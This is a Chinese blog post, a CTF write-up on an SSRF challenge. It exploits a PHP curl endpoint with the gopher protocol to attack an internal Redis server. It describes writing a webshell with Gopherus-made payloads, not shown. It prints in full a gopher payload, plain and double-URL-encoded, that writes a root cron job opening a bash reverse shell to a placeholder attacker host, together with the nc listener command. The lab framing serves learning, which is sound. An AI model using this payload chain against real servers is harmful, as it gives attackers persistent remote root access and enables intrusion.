CTF SSRF redis写入shell、计划任务

doulicau

已于 2023-03-07 15:59:46 修改

阅读量996

点赞数

分类专栏： CTF 文章标签： php

于 2023-03-07 15:49:51 首次发布

本文链接：https://blog.csdn.net/doulicau/article/details/129383629

版权

CTF 专栏收录该内容

2 篇文章 1 订阅

订阅专栏

一道SSRF题目，如下：

题目：

<?php
//Flag in flag.php
highlight_file(__FILE__);
function curl($url){  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    echo curl_exec($ch);
    curl_close($ch);
}

if(isset($_GET['submit'])){
        $url = $_GET['url'];
        if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
        {
            die('No');
        }
        curl($url);
}
if(isset($_GET['ip'])){
    system('ifconfig');
}
?>

可以看到过滤了file、dict协议，可以使用gopher协议。

http://X.X.X.X:XXXX/index.php?ip
#可以查看本机IP地址

http://X.X.X.X:XXXX/index.php?url=http://172.X.X.53:6379/&submit=%E6%8F%90%E4%BA%A4
#使用http协议访问6379端口，发现启用了redis服务，那就可以用redis写shell了。

一、写入webshell

使用Gopherus工具生成redis的payload：

发送payload即可写入shell.php，注意_后的字符需要二次url编码。

写入成功就可以访问shell：

二、写入计划任务反弹shell

payload如下，记住需要_后需要二次url编码。

vps:nc -lvvp 1444

gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$3%0d%0attt%0d%0a$69%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/xxx.xx.xxx.xx/1444 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a

gopher://127.0.0.1:6379/_%2a%33%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%74%74%74%25%30%64%25%30%61%24%36%39%25%30%64%25%30%61%25%30%61%25%30%61%25%30%61%2a%2f%31%20%2a%20%2a%20%2a%20%2a%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%78%78%78%2e%78%78%2e%78%78%78%2e%78%78%2f%31%34%34%34%20%30%3e%26%31%25%30%61%25%30%61%25%30%61%25%30%61%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%33%25%30%64%25%30%61%64%69%72%25%30%64%25%30%61%24%31%36%25%30%64%25%30%61%2f%76%61%72%2f%73%70%6f%6f%6c%2f%63%72%6f%6e%2f%25%30%64%25%30%61%2a%34%25%30%64%25%30%61%24%36%25%30%64%25%30%61%63%6f%6e%66%69%67%25%30%64%25%30%61%24%33%25%30%64%25%30%61%73%65%74%25%30%64%25%30%61%24%31%30%25%30%64%25%30%61%64%62%66%69%6c%65%6e%61%6d%65%25%30%64%25%30%61%24%34%25%30%64%25%30%61%72%6f%6f%74%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%73%61%76%65%25%30%64%25%30%61%2a%31%25%30%64%25%30%61%24%34%25%30%64%25%30%61%71%75%69%74%25%30%64%25%30%61